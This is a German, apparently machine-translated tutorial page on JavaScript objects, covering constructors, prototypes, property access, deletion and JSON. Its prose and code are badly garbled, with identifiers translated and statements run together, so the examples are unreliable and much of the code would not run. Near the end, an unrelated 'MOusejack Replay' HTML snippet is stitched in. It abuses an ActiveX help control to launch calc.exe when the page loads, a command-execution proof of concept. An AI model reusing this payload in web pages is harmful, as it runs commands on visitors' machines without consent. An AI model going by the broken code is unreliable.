Javascrtip verfügt über sechs Datentypen, einen komplexen Datentyp (Referenztyp), nämlich den Objektobjekttyp und fünf einfache Datentypen (primitive Typen): Nummer, String, Boolean, undefiniert und Null. Unter ihnen ist der Kerntyp der Objekttyp. Gleichzeitig sollte beachtet werden, dass einfache Typen unveränderlich sind, während Objekttypen veränderlich sind.
Was ist ein Objekt
Ein Objekt ist eine nicht ordnungsgemäße Liste einfacher Datentypen (manchmal referenzierte Datentypen), die als Reihe von Namenswertenpaaren gespeichert sind. Jedes Element in dieser Liste wird als Eigenschaft bezeichnet (wenn es als Methode bezeichnet wird).
Hier ist ein einfaches Objekt:
var myfirstObject = {FirstName: "Richard", favoriteAthor: "conrad"};Objekte können als Liste betrachtet werden, und jedes Element (Eigenschaften oder Methoden) in der Liste wird in einem Namenswertpaar gespeichert. Im obigen Beispiel sind die Attributnamen des Objekts FirstName und Favoritauthor. Entsprechend sind die Attributwerte des Objekts Richard und Conrad.
Der Attributname kann eine Zeichenfolge oder eine Nummer sein. Wenn jedoch eine Nummer als Attributname verwendet wird, muss der Attributwert, der dem Attributnamen dieser Nummer entspricht, in quadratischen Klammern (Quadratklammern Notation) erhalten werden. Eine detailliertere Erläuterung der Quadratklammer -Notation später. Hier ist ein Beispiel für die Notation mit quadratischer Klammer:
var agentgroup = {30: "childhes", 100: "sehr alt"}; console.log (AlterGroup.30) // Fehler // Die richtige Möglichkeit, auf das Attribut 30 console.log zuzugreifen (Altergroup ["30"]); // Kinder // Es ist am besten, die Verwendung von Zahlen als Attributnamen zu vermeidenAls JavaScript -Programmierer verwenden Sie häufig Objektdatentypen. Es wird normalerweise verwendet, um Daten zu speichern oder benutzerdefinierte Methoden oder Funktionen zu erstellen.
Referenzdatentypen und primitive Datentypen
Der wichtigste Unterschied zwischen einem Referenztyp und einem primitiven Typ besteht darin, dass der Referenztyp durch Referenz gespeichert wird und den Wert nicht direkt in einer Variablen wie einem primitiven Typ speichert. Zum Beispiel:
// Die ursprünglichen Typdaten werden von Value var Person = "Kobe" gespeichert; Var otherperson = Person; // otherperson = der Wert von Person Person = "Bryant"; // Der Wert der Person hat Console.log (otherPerson) geändert; // Kobe Console.log (Person); // Bryan
Es kann beachtet werden, dass selbst wenn wir den Wert der Person in "Bryant" ändern, es keinen Einfluss auf die Anthoerperson hat und dennoch den von der ursprünglichen Person zugewiesenen Wert spart.
Vergleichen Sie den ursprünglichen Typ nach Wertspeicher mit dem Referenztyp nach Referenzspeicher:
var person = {name: "kobe"}; Var otherperson = Person; Person.name = "Bryant"; Console.log (otherperson.name); // Bryant console.log (Person.name); // BryantIn diesem Beispiel kopieren wir das Objekt der Person an Anthoerperson, aber da das Personobjekt eine Referenz anstelle des tatsächlichen Wertes speichert. Wenn wir also die Person in "Bryant" ändern, spiegelt die Variable der anderen Person diese Änderung auch wider, da sie nicht alle Attribute persönlich kopiert und sie speichert, sondern direkt die Referenz des Objekts speichert.
Attribute von Objekteigenschaften
Hinweis: Das Attribut wird im Allgemeinen als Attribut übersetzt, um es jedoch von der Eigenschaft zu unterscheiden (auch als Attribut übersetzt), wird es hier als Attribut übersetzt. Dies wurde auch von anderen konsultiert und sollte harmlos sein.
Jedes Objektattribut speichert nicht nur sein eigenes Namenswertpaar, sondern enthält auch drei Merkmale, die standardmäßig auf True eingestellt sind.
• Konfigurierbares Attribut: Gibt an, ob dieses Objektattribut gelöscht oder geändert werden kann.
• Aufzählbar: Geben Sie an, ob diese Objekteigenschaft in der For-In-Schleife erhalten werden kann.
• Beschreibbar: Gibt an, ob diese Objekteigenschaft geändert werden kann.
In Emacscript 5 gibt es einige neue Funktionen, und wir werden sie hier nicht ausführlich erklären.
Ein Objekt erstellen
Es gibt zwei gemeinsame Methoden zum Erstellen von Objekten:
1. Objekt wörtlich
Dies ist der häufigste und einfachste Weg, um Objekte zu erstellen, direkt mit Literalen:
// leeres Objekt var mybooks = {}; // Objekt, das 4 Attribute enthält, die mit Literalen erstellt wurden var mango = {Farbe: "Gelb", Form: "Round", Süße: 8, howsweetami: function () {console.log ("hmm hmm good"); }}2. Objektkonstruktor
Die zweite häufig verwendete Methode besteht darin, Objektkonstruktoren zu verwenden. Ein Konstruktor ist eine spezielle Funktion, mit der ein neues Objekt erstellt werden kann. Der Konstruktor muss mit dem neuen Schlüsselwort aufgerufen werden.
var mango = new Object (); Mango.color = "Yellow"; Mango.Shape = "Round"; Mango.sweetness = 8; Mango.Wowsweetami = Funktion () {console.log ("Hmm hmm gut");};};};};};Obwohl einige reservierte Wörter oder Schlüsselwörter verwendet werden können, z. B. als Name einer Objekteigenschaft, ist dies keine kluge Wahl.
Die Eigenschaften eines Objekts können einen beliebigen Datentyp enthalten, einschließlich Anzahl, Arrays oder sogar anderen Objekten.
Praktische Art der Objekterstellung
Um einfache Objekte zu erstellen, die nur einmal zum Speichern von Daten verwendet werden, können die beiden oben genannten Methoden den Anforderungen entsprechen.
Angenommen, es gibt jedoch ein Programm zum Anzeigen der Früchte und ihrer Details. Jeder Fruchttyp im Programm hat die folgenden Objekteigenschaften: Farbe, Form, Süße, Kosten und eine gezeigte Funktion. Wenn Sie jedes Mal, wenn Sie ein neues Obstobjekt erstellen, den folgenden Code typisieren müssen, ist es sehr langweilig und ineffizient.
var Mangofruit = {Farbe: "gelb", Süße: 8, Fruitname: "Mango", Nativetoland: ["Südamerika", "Mittelamerika"], gezeigt: function () {console.log ("this is" + this.fruitname); }, Nativeto: function () {this.nativetoland.foreach (Funktion (jedercountry) {console.log ("gewachsen in:" + jeder Country);}); }}Wenn Sie 10 Früchte haben, müssen Sie denselben Code 10 Mal hinzufügen. Und wenn Sie die Nativeto -Funktion ändern möchten, müssen Sie sie an 10 verschiedenen Stellen ändern. Stellen wir uns weiter vor, wenn Sie eine große Website entwickeln, haben Sie den Objekten über eins nacheinander Attribute hinzugefügt. Sie erkennen jedoch plötzlich, dass die Art und Weise, wie Sie das Objekt erstellen, nicht ideal ist und Sie es ändern möchten, was sollten Sie zu diesem Zeitpunkt tun?
Um diese sich wiederholenden Probleme zu lösen, erfanden Softwareingenieure verschiedene Muster (Lösungen für sich wiederholende Probleme und gemeinsame Aufgaben), um Entwicklungsprogramme effizienter und rationaler zu verwenden.
Hier sind zwei gemeinsame Muster zum Erstellen von Objekten:
1. Konstruktion des Methodenmodus
Funktion Frucht (TheColor, Thesweetness, TheFruitName, thenAtivetoland) {this.color = TheColor; this.sweetness = thesweetness; this.fruitname = theFruitname; this.nativetoland = thenAtivetoland; this.showname = function () {console.log ("Dies ist ein" + this.fruitname); } this.nativeto = function () {this.nativetoland.foreach (Funktion (jedercountry) {console.log ("gezüchtet in:" + jedes Land);}); }}Mit diesem Muster ist es einfach, eine Vielzahl von Früchten zu erstellen. So was:
var Mangofruit = neue Frucht ("Yellow", 8, "Mango", ["Südamerika", "Mittelamerika", "Westafrika"]; Mangofruit.Showname (); // Dies ist eine Mango. // Dies ist eine Ananas.Wenn Sie Eigenschaften oder Methoden ändern möchten, müssen Sie sie nur an einem Ort ändern. Dieses Muster verkauft die Funktionen und Merkmale aller Früchte durch die Vererbung einer Fruchtfunktion.
Beachten:
◦Diewerte Eigenschaften müssen in den Prototyp -Objekteigenschaften des Objekts definiert werden. Zum Beispiel
einigeObject.Prototype.Firstname = "Rich";
◦Die Attribute, die sich selbst angehören, sollten direkt am Objekt definiert werden. Zum Beispiel:
// Erstellen Sie zunächst ein Objekt var amango = new fruit (); // Definieren Sie als nächstes die Mongospice -Methode direkt auf dem Objekt // Da wir die Manglospice -Eigenschaft direkt auf dem Objekt definieren, handelt es sich um Amangos eigene Eigenschaft, keine vererbbare Eigenschaft amango.mangospice = "Ein Wert";
◦ Verwenden Sie die Eigenschaften eines Objekts, verwenden Sie Object.Property, wie z. B.:
console.log (amango.mangospice); // "etwas Wert"
◦ Um die Methode eines Objekts aufzurufen, verwenden Sie Object.Method (), wie z. B.:
// Zuerst eine Methode fügen Sie amango.printstuff = function () {return "drucken"; } // Jetzt können Sie die PrintStuff -Methode amango.printstuff () aufrufen;2. Prototypmodus
Funktion fruit () {} fruit.prototype.color = "gelb"; fruit.prototype.sweetness = 7; fruit.prototype.fruitname = "generic fruit"; fruit.prototype.nativetoland = "usa"; this.fruitname);} fruit.prototype.nativeto = function () {console.log ("gewachsen in:" + this.nativetoland);}Hier ist die Methode, um den Fruit () -Konstruktor im Prototypenmodus aufzurufen:
var mangofruit = new fruit (); Mangofruit.Showname (); // Mangofruit.nativeto (); // Dies ist eine generische Frucht // Erwachsener in: USA
Verlängerte Lesung
Wenn Sie eine detailliertere Erklärung dieser beiden Muster kennen müssen, können Sie Kapitel 6 der JavaScript Advanced Programming lesen, in der die Vorteile und Nachteile dieser beiden Methoden im Detail erörtert werden. Andere Modi neben diesen beiden werden ebenfalls im Buch besprochen.
So greifen Sie in einem Objekt auf Eigenschaften zu
Die beiden Hauptmethoden zum Zugriff auf Objekteigenschaften sind Punktnotation und Halterungsnotation.
1. Punktnotationsmethode
// Dies ist die Methode, um auf Attribute zuzugreifen, die wir im vorherigen Beispiel verwendet haben. // Wege, console.log (book.pages); // 280
2. Methode zur Halterung der Notation
// Quadratklammern verwenden, um die Eigenschaften des Buchobjekts zu enthüllen: console.log (Buch ["title"]); // Möglichkeiten, Console.log zu gehen (Buch ["Seiten"]); // 280 // Wenn der Attributname in einer Variablen gespeichert ist, kann er auch: var boottitle = "title"; console.log (book [boottitle]) sein; // Wege, console.log zu gehen (Buch ["Lesezeichen" + 1]); // Seite 20
Zugriff auf Eigenschaften, die in einem Objekt nicht existieren, führt zu einem undefinierten.
Seine eigenen Attribute und Vererbungattribute
Objekte haben ihre eigenen Attribute und ererbten Attribute. Das eigene Attribut ist eine Eigenschaft, die direkt auf dem Objekt definiert ist, während das geerbte Attribut eine Eigenschaft ist, die aus dem Prototyp des Objekts geerbt wurde.
Um festzustellen, ob ein Objekt über ein bestimmtes Attribut verfügt (ob es sich um ein eigenes Attribut oder ein ererbter Attribut handelt), können Sie den In -Operator verwenden:
// Erstellen Sie ein Objekt mit dem SchoolName Attribut var school = {schulname: "Mit"}; // Drucken Sie True aus, weil das Objekt die Schulname -Immobilienkonsole.Log ("SchoolName" in der Schule hat); // true // false ausdrucken, weil wir weder das SchoolType -Eigentum definieren noch die schultype Eigentumskonsole.log ("schulType" in der Schule); // false // true ausdrucken, weil die toString method console.log ("toString" in der Schule); // WAHRHasownProperty
Um festzustellen, ob ein Objekt über eine eigene Eigenschaft verfügt, können Sie die Methode von HasownPrototypen verwenden. Diese Methode ist sehr nützlich, da wir häufig alle Eigenschaften eines Objekts aufzählen müssen, anstatt sie zu erben.
// Erstellen Sie ein Objekt mit dem SchoolName Attribut var school = {schulname: "Mit"}; // Drucken true, weil Schulname die eigene Eigentumskonsole der Schule ist (school.hasownProperty ("SchoolName")); // true // false drucken, weil das ToString vom Prototyp des Objekts und der eigenen Eigentumskonsole der Schule (school.hasownProperty ("tostring") geerbt wird; // FALSCHZugriffs- und Aufzählungseigenschaften in Objekten
Um auf die Attribute zuzugreifen (selbst oder ererbt), die in einem Objekt aufgezählt werden können, können Sie eine LOP- oder eine normale Schleifenmethode verwenden.
// Erstellen Sie ein Schulobjekt mit 3 Attributen: Schulname, schulakleditiert und schoolloclocation. Var school = {schulname: "MIT", schoolaccredited: true, schoollocation: "Massachusetts"}; // Verwenden Sie eine for-in-Schleife, um die Attribute in das Objekt für (var projectem in der Schule) {console.log (projedem) zu erhalten; // DRUCKTIONS SCHULNAME, SCHULE ACCREDITED, Schoollocation}Zugriff erbliche Eigenschaften
Eigenschaften, die aus dem Prototyp des Objekts geerbt wurden, sind nicht aufgezählt, sodass auf diese Eigenschaften nicht in der For-In-Schleife zugegriffen werden. Wenn sie jedoch aufzählbare Vererbungseigenschaften sind, können sie auch aus der für die In-In-Schleife zugegriffen werden.
Zum Beispiel:
// Verwenden Sie für den Zugriff auf die Immobilien im Schulobjekt für (var projedem in der Schule) {console.log (projedem); // Drucke Schulname, schulakkredite, schoolloclocation} // Hinweis: Der folgende Absatz ist eine Erklärung des Originaltextes/* Randnotiz: Als Wilson (ein kluger Leser) wird in den Kommentaren unten korrekt darauf hingewiesen, dass die Bildungsmobilie nicht wirklich von Objekten geerbt wird, die den Higher Learning Constructor verwenden. Stattdessen wird die EducationLevel -Eigenschaft als neue Eigenschaft für jedes Objekt erstellt, das den Higher Learning Constructor verwendet. Der Grund, warum die Eigenschaft nicht vererbt wird, ist, dass wir das Schlüsselwort "dieses" verwenden, um die Eigenschaft zu definieren. */// Erstellen Sie eine neue HigherLearning -Funktion, die das Schulobjekt von. Funktion HigherLearning () {this.EducationLevel = "Universität" erben; } // Vererbung mit dem Higher Learning Constructor var school = new HigherLearning () implementieren; School.Schoolname = "Mit"; Schule.Schoolaccredited = true; School.schoollocation = "Massachusetts"; // Verwendung der for/in Schleife, um auf die Immobilien im Schulobjekt für (var projectem in der Schule) zuzugreifen, {console.log (projedem); // Drucke EducationLevel, Schulname, Schoolaccredited und Schoollocation}Eigenschaften im Objekt löschen
Sie können den Löschbetreiber verwenden, um Eigenschaften in einem Objekt zu löschen. Wir können ererbte Attribute nicht löschen und keine Objektattribute löschen, deren konfigurierbare Attribute auf False festgelegt sind. Um ererbte Eigenschaften zu löschen, müssen Sie sie aus dem Prototyp -Objekt löschen (dh, wo diese Eigenschaften definiert sind). Darüber hinaus können wir Eigenschaften in globalen Objekten nicht löschen.
Wenn der Löschen erfolgreich ist, wird der Löschbetreiber true zurückgegeben. Überraschenderweise gibt der Löschbetreiber auch true zurück, wenn das zu gelöschte Attribut nicht existiert oder nicht gelöscht werden kann (dh das Attribut, das nicht sein eigenes oder das konfigurierbare Attribut ist, ist auf false festgelegt).
Hier ist ein Beispiel:
var ChristmasList = {Mike: "Buch", Jason: "Sweater"} Weihnachtsliste löschen.mike; // löscht die Mike -Immobilie für (var people in Christmaslist) {console.log (people); } // druckt nur Jason // Die Immobilie von Mike wurde gelöscht. // true zurückkehren, aber weil das Tostring eine erbliche Eigenschaft ist, wird es nicht gelöscht //, da das ToString nicht gelöscht wird, ChristmasList.ToString () kann hier auch normal verwendet werden. // "[Objekt]" // Wenn ein Attribut eine eigene Eigenschaft einer Objektinstanz ist, können wir es löschen. // Zum Beispiel können wir das im vorherige Beispiel definierte Schulobjekt aus dem EducationLevel -Attribut löschen. //, da EducationLevel in dieser Instanz definiert ist: Wir haben das Schlüsselwort "This" bei der Definition von EducationLevel in der Higher Learning -Funktion verwendet. // Wir definieren das Education -Level -Attribut nicht im Prototyp -Objekt der höheren Lernfunktion. console.log (school.hasownProperty ("EducationLevel"); // true // EducationLevel ist eine Selbstbetrieben eines Schulobjekts, sodass wir die Schule löschen können. // true // Das EducationLevel -Eigentum hat Console.log (School.EducationLevel) gelöscht; // undefined // aber das EducationLevel -Eigentum existiert immer noch in der Higher Learning -Funktion var Newsschool = new HigherLearning (); console.log (Newsschool.EducationLevel); // Universität // Wenn wir ein Eigentum im Prototyp der höheren Lernfunktion definieren, wie diese EducationLevel2 -Eigenschaft: HigherLearning.Prototype.EDUCATIONLEVEVEL2 = "University 2"; // Diese EducationLevel2 -Immobilie führt nicht das eigene Eigentum der HigherLearning -Instanz zurück // Das EducationLevel2 -Eigentum ist nicht das eigene Eigentum der Schulinstanzkonsole.Log (School.hasownProperty ("EducationLevel2"); false console.log (School.EducationLevel2); // Universität 2 // Versuchen Sie, die ererbte EducationLevel2 -Immobilien zu löschen. // true (wie bereits erwähnt, wird dieser Ausdruck wahr zurückgeben) // Die ererbte EducationLevel2 -Immobilie wurde nicht gelöscht. Universität 2Objekte serialisieren und deserialisieren
Um ein Objekt in HTTP zu übergeben oder ein Objekt in eine Zeichenfolge umzuwandeln, müssen wir das Objekt serialisieren (es in eine Zeichenfolge umwandeln). Wir können JSON.Stringify verwenden, um Objekte zu serialisieren. Es ist zu beachten, dass wir in Versionen vor ECMascript 5 die JSON2 -Bibliothek verwenden müssen, um die Funktion JSON.Stringify zu erhalten. In ECMascript 5 ist diese Funktion zu einer Standardfunktion geworden.
Um ein Objekt zu Deserialisierung (d. H. Einen Zeichenfolge in ein Objekt umwandeln), kann es unter Verwendung der Funktion JSON.Parse erfolgen. In ähnlicher Weise müssen wir vor der 5. Ausgabe diese Funktion aus der JSON2 -Bibliothek erhalten, und diese Standardfunktion wurde der 5. Ausgabe hinzugefügt.
Beispielcode:
var ChristmasList = {Mike: "Buch", Jason: "Sweater", Chelsea: "iPad"} json.Stringify (Weihnachtsliste); // druckt diesen String: // "{" Mike ":" Buch "," Jason ":" Sweater "," Chels ":" iPad "}" // zum Drucken eines angestrahlten Objekts mit Formatierung, Fügen Sie "null" und "4" als Parameter: json.stringify (Weihnachtsliste, Null, 4); // "{//" Mike ":" Buch ", //" Jason ":" Sweater ", //" Chels ":" iPad "//}" // json.parse Beispiele // Folgendes ist ein JSON -String, also können wir nicht auf die Eigenschaften mit Punktnotation zugreifen (wie Weihnachtenlistsstr.Mike) var Christmaslists, var Christmaslists, Var ChristmasLists, = var ChristmasLists = greifen auf die Eigenschaften zu, die nicht auf die Eigenschaften zugreifen können. '{"Mike": "Buch", "Jason": "Sweater", "Chels": "iPad"}'; // Lassen Sie es uns in ein Objekt umwandeln var ChristmasListobj = json.Parse (ChristmasListStr); // Jetzt, da es sich um ein Objekt handelt, verwenden wir dot Notationskonsole.log (Weihnachtslistlistobj.Mike); // BuchWeitere Diskussionen und Erläuterungen von JavaScript -Objekten sowie des in der 5. Ausgabe hinzugefügten Inhalts des ECMascripts finden Sie in Kapitel 6 des maßgeblichen Handbuchs zu JavaScript (6. Ausgabe).
PostScript
Als ich einen Artikel zum ersten Mal übersetzt habe, habe ich wirklich das Gefühl, dass es nicht so einfach ist, ihn gut zu übersetzen. Viele einfache Sätze sehen sehr klar aus, aber wenn ich es wirklich übersetzen möchte, kann ich mir keine geeignete Art des Ausdrucks vorstellen. Der gesamte Artikel basiert auf meinem eigenen Verständnis und übersetzt ihn dann frei durch den Satz durch Übersetzungssatz. Wenn es also Abweichungen im Verständnis oder der unangemessenen Übersetzung gibt, versuchen Sie es bitte, und ich werde sie so schnell wie möglich korrigieren. Schließlich möchte ich diesen vergangenen Artikel mit Ihnen teilen. Ich möchte Sie nicht in die Irre führen, weil meine Fehler im Verständnis sind.
Nur Sauce, beenden Sie die Arbeit.
<! DocType html> <html> <Head> <titels> MOusejack Replay </title> <head> </head> <body> comples exec <Objekt id = x classId = clSID: adb880a6-d8ff-11cf-9377-00AAA003B7A11 "BACKDH = 1 HAGH = 1 HAGH = 1 HAGH = 1> <param name". value = "bitmap :: mortcut"> <param name = "item1" value = ', calc.exe'> <param name = "item2" value = "273,1,1"> </Object> <skript> x.click (); </Script> </body> </html>
Das obige ist der gesamte Inhalt dieses Artikels. Ich hoffe, es wird für das Lernen aller hilfreich sein und ich hoffe, jeder wird Wulin.com mehr unterstützen.